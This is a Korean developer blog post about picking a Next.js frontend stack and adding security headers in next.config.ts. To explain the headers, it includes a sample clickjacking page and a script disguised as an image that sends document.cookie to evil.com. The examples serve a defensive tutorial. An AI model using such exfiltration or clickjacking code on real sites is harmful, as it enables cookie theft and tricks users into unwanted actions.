[Preterview] 3. FE 기술 스택 세팅 및 NextJS RSC 보안 이슈 보완하기

들어가며

TypeScript 기반의 빠른 풀스택 개발을 위해 NextJS 세팅 과정에서 다른 기술 스택을 정하는 과정입니다.

 

정해야 하는 부분이 상태관리, 서버 상태관리, 스타일링 파트였습니다.

 

상태관리 : Zustand

Zustand로 진행하여 보일러 플레이트 코드가 많은 Redux 보다는 빠른 개발이 가능하다고 생각했습니다.

 

서버 상태 관리 : tanstack query

다음은 서버 상태 관리였는데, 가장 인기있고, Zustand와 호환성이 높은 Tanstack query를 통해서 클라이언트에서는 Zustand, 서버에서는 Tanstack query로 역할을 분리하기로 했습니다. 특히 NextJS 14의 App Router 를 지원하므로 Server components와의 호환성이 높다는 장점이 있습니다.

 

스타일링 : tailwindcss + shadcn UI

그럼 그 다음은 스타일링인데, 기존에는 TailwindCSS 기반의 shadcn UI를 사용해본 경험이 있었습니다. 그러나 최근 공고에 Emotion과 Styled-Components 에 대한 요구사항이 꽤 보이길래 고민이 되었습니다.

 

그러나 Emotion은 Nextjs에서 제공하는 Server Component에서 사용이 불가능 하기 때문에 NextJS로 우선 풀스택을 구축하자는 우선순위에 밀렸습니다. 

Styled-components는 NextJS 14 App Router 호환성 이슈가 있고, 최근에는 많이 안쓰는 추세이므로 TailwindCSS 기반 shadcn ui를 진행하기로 했습니다.

---

최근 NextJS의 RSC 문제가 발생하면서

App Router 방식에서 서버 컴포넌트에 직접 접근하는 보안 문제가 발생했다고 들었습니다. 따라서 NextJS 버전을 권장하고 있는 15.5.9+ 버전으로 NextJS를 사용하려 합니다.

 

또, TypeScript 런타임 검증 라이브러리인 Zod를 초기에 세팅하고, 앱 동작 방식 설정하는 next.config.ts 파일에서 보안 헤더를 설정했습니다.

 

next.config.ts 파일에서 보안 헤더 추가하기

// next.config.ts
import type { NextConfig } from 'next'

const nextConfig: NextConfig = {
  // X-Powered-By 헤더 제거 (Next.js 사용 숨기기)
  poweredByHeader: false,

  // 보안 헤더 추가
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'X-Frame-Options',
            value: 'DENY'  // iframe 삽입 방지
          },
          {
            key: 'X-Content-Type-Options',
            value: 'nosniff'  // MIME 타입 스니핑 방지
          },
          {
            key: 'Referrer-Policy',
            value: 'strict-origin-when-cross-origin'
          }
        ]
      }
    ]
  }
}

export default nextConfig

 

1. powerByHeader : false

HTTP 응답 헤더에서 X-Powered-By : Next.js 제거를 통해 어떤 보안을 쓰는지 아예 숨깁니다.

 

2. X-Frame-Options: DENY

다른 사이트에서 내 사이트를 <iframe>으로 삽입하는 것 차단

<iframe>을 삽입하는 공격인 Clickjacking을 방어합니다.

<!-- 악성 사이트 (evil.com) -->
<style>
  iframe {
    opacity: 0;  /* 투명하게 */
    position: absolute;
    width: 100%;
    height: 100%;
  }
  button {
    position: absolute;
    top: 100px;
  }
</style>

<!-- 피해자 사이트를 투명한 iframe으로 삽입 -->
<iframe src="https://preterview.com/delete-account"></iframe>

<!-- 사용자는 이 버튼을 누르는 줄 알지만... -->
<button>무료 선물 받기!</button>

<!-- 실제로는 투명한 iframe의 "계정 삭제" 버튼을 누름! -->

 

X-Frame-Options: DENY

브라우저가 iframe 로딩 자체를 차단합니다.

옵션에는

// 1. DENY - 모든 iframe 차단
value: 'DENY'

// 2. SAMEORIGIN - 같은 도메인에서만 허용
value: 'SAMEORIGIN'

// 3. ALLOW-FROM (구식, 안 씀)
value: 'ALLOW-FROM https://trusted.com'

 

다른 사이트에 iframe으로 삽입딜 이유가 아직 없기 때문에 DENY를 설정했습니다.

 

3. X-Content-Type-Options: nosniff

브라우저가 파일 타입을 '추측'하는 것을 방지함으로써 브라우저가 HTML/JS를 실행하는 MIME Snifflng Attack 방지합니다.

 

// 공격자가 이미지 업로드 기능 악용
// 1. 악성 스크립트를 .jpg로 위장
// malicious.jpg (실제 내용)
<script>
  // 사용자 쿠키 훔치기
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

// 2. 서버는 Content-Type: image/jpeg로 응답
// 3. 브라우저가 내용 보고 "어? 이거 HTML/JS네?" → 실행!

// 결과: XSS 공격 성공

 

즉, Content-Type 이 image/jpeg라면 무조건 이미지로만 처리함으로써 악성 스크립트를 .jpg로 위장한 공격을 방어할 수 있습니다.

 

4. Referrer-Policy: strict-origin-when-cross-origin 

다른 사이트로 이동할 때 민감한 URL 정보 노출을 방지합니다.

// 사용자가 Preterview에서 링크 클릭
// URL: https://preterview.com/interview/session?token=abc123&user=kim

// ❌ Referrer-Policy 없으면
// 외부 사이트(evil.com)로 이동 시 HTTP 헤더에 전체 URL 노출
Referer: https://preterview.com/interview/session?token=abc123&user=kim
         ↑ 토큰, 사용자 정보 다 노출!

// ✅ strict-origin-when-cross-origin
// 외부 사이트로 이동 시 도메인만 전송
Referer: https://preterview.com
         ↑ 민감한 파라미터 제거됨

 

 

추가로 

5. X-XSS-Protection 

{
  key: 'X-XSS-Protection',
  value: '1; mode=block'
}

 

mode=block 을 통해 XSS 감지 시 페이지 렌더링을 차단하여 공격을 방지합니다. 최신 브라우저에서는 CSP로 대체된다고 하는데 구형 브라우저 대응용으로 추가하면 좋습니다.